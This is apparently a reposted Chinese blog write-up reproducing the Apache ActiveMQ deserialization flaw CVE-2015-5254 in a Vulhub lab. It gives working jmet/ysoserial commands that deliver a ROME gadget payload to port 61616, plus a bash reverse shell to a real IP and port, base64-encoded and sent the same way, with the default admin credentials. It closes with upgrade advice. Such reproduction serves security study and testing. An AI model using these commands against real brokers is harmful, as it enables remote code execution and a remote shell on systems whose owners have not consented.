ActiveMQ 反序列化漏洞(CVE-2015-5254)

2023-12-13 03:38:01

ActiveMQ 反序列化漏洞

Apache ActiveMQ是一种开源的消息代理(message broker),被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能,使得开发者能够构建可靠、可扩展的消息传递系统。

说明内容
漏洞编号CVE-2015-5254
漏洞名称ActiveMQ 反序列化漏洞
漏洞评级高危
影响范围ActiveMQ 5.13.0以前版本
漏洞描述java反序列化任意代码执行
修复方案升级到Apache ActiveMQ 5.13.0及以上版本

漏洞描述

Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。

CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

漏洞等级

评定方式等级
威胁等级严重
影响面广泛

基础环境

  • www.vulhub.org
  • cd …/vulhub/activemq/CVE-2015-5254
  • docker compose up -d

漏洞复现

漏洞利用过程如下:
  1. 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
  2. 将序列化对象作为一个消息,发送给目标61616工作端口
  3. 访问web管理页面?读取消息?触发漏洞
漏洞复现

环境搭建好后访问your-ip:8186,出现这个页面表示环境搭建成功。

ActiveMQ:8186 管理端口, 61616 默认服务端口 。

image-20230914111331809

kali中下载jmet的jar包,里面集成了ysoserial,运行jar包jdk环境要对应,我的jdk是1.8版本,jdk17执行失败了。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

下载后同目录下创建一个external文件夹,否则可能会出错。

执行以下代码发送一个消息给服务器

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

-Q myevent:指定要投递的事件名称。jmet会使用该事件名称的payload封装成消息投递。
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击。
-Y “touch /tmp/success”:指定要执行的命令。
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象的payload。
114.115.172.115 61616:指定目标ActiveMQ的地址和端口。

访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event

默认账号密码:admin,admin

当点击消息的时候我们的命令将会被执行。

image-20230914120536037

image-20230914120419752

当点击了这条消息后我们的命令就被触发执行了,说明是有这个漏洞的。

image-20230914120436520

反弹shell

想要执行反弹shell我们需要对反弹shell命令做一个base64编码才可以执行,要么会执行失败。

首先准备好一个反弹shell,然后base64编码

bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击的时候我们的反弹shell也就会被执行。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616

点击一下

image-20230914122202099

我们服务器监听的地方就可以拿到一个反弹shell了。

image-20230914121603298

修复建议

1、升级到Apache ActiveMQ 5.13.0及以上版本或更新补丁。

网址如下:
http://activemq.apache.org/security-advisories.data

文章来源:https://blog.csdn.net/weixin_44681307/article/details/134818099
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。